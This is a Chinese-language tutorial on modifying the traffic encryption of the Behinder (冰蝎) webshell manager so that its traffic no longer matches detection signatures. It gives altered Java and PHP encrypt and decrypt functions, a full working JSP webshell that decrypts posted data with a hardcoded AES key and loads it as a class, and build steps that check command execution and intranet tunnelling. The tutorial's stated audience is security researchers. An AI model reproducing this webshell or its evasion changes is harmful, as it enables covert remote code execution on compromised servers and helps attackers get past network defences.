简单的冰蝎流量魔改
字数 1047 2025-08-27 12:33:54
冰蝎流量魔改详细教学文档
前言
本教程详细讲解如何对冰蝎(Behinder)工具的流量进行简单魔改,通过修改加密逻辑来改变流量特征。教程基于Java实现,适合有一定基础的网络安全研究人员学习参考。
一、准备工作
1.1 获取冰蝎源码
有以下两种方式获取冰蝎源码:
- 下载冰蝎工具,使用IDEA自带的反编译工具反编译
- 使用GitHub上已整理好的反编译代码:Behinder-Source
二、核心修改步骤
2.1 修改Crypt.java加密函数
-
定位文件:
Crypt.java -
修改原则:
- 不需要修改
public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)函数 - 修改具体的加密函数如
EncryptForPhp等
- 不需要修改
-
示例修改(增加Base64编码):
// 修改前
public static String EncryptForPhp(String data, String key) throws Exception {
// 原有AES加密逻辑
return encryptedData;
}
// 修改后
public static String EncryptForPhp(String data, String key) throws Exception {
// 原有AES加密逻辑
return new String(Base64.getEncoder().encode(encryptedData.getBytes()));
}
2.2 修改Crypt.java解密函数
- 定位函数:
Decrypt函数 - 示例修改(增加Base64解码):
public static byte[] Decrypt(byte[] bs, String key) throws Exception {
// 在函数开头添加Base64解码
bs = Base64.getDecoder().decode(new String(bs));
// 原有解密逻辑
return decryptedData;
}
2.3 修改Payload加密逻辑
-
定位文件:
net.rebeyond.behinder.payload.java下的Java代码文件 -
修改原则:
- 查找所有包含
Encrypt()函数的文件 - 修改加密逻辑与Crypt.java中的修改保持一致
- 不同语言payload需要分别修改(PHP、ASP等)
- 查找所有包含
-
PHP示例修改:
// 修改前
function encrypt($data, $key) {
// 原有加密逻辑
return $encrypted;
}
// 修改后
function encrypt($data, $key) {
// 原有加密逻辑
return base64_encode($encrypted);
}
2.4 修改Webshell马
- JSP马示例修改(增加Base64解码层):
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(
new sun.misc.BASE64Decoder().decodeBuffer(
new String(
new sun.misc.BASE64Decoder().decodeBuffer(
request.getReader().readLine()
)
)
)
)).newInstance().equals(pageContext);
}
%>
三、打包与测试
3.1 打包步骤
- 使用Maven执行package命令
- 使用生成的
Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar文件
3.2 测试要点
- 测试命令执行功能是否正常
- 测试内网穿透功能是否正常
- 注意:数据库连接功能可能出现bug(已知问题)
四、待解决问题
-
C# DLL文件处理:
- 需要特殊方法处理C# payload中的DLL文件
- 欢迎提供快捷处理方法和思路
-
数据库连接功能bug:
- 目前尚未调试解决
- 欢迎有经验的研究人员提供解决方案
五、总结
本教程详细介绍了冰蝎流量魔改的关键步骤,包括加密函数修改、payload修改和webshell马修改。通过简单的Base64编码示例展示了魔改思路,实际应用中可根据需要采用更复杂的加密方式。注意保持客户端和服务端加密逻辑的一致性,并充分测试各项功能是否正常。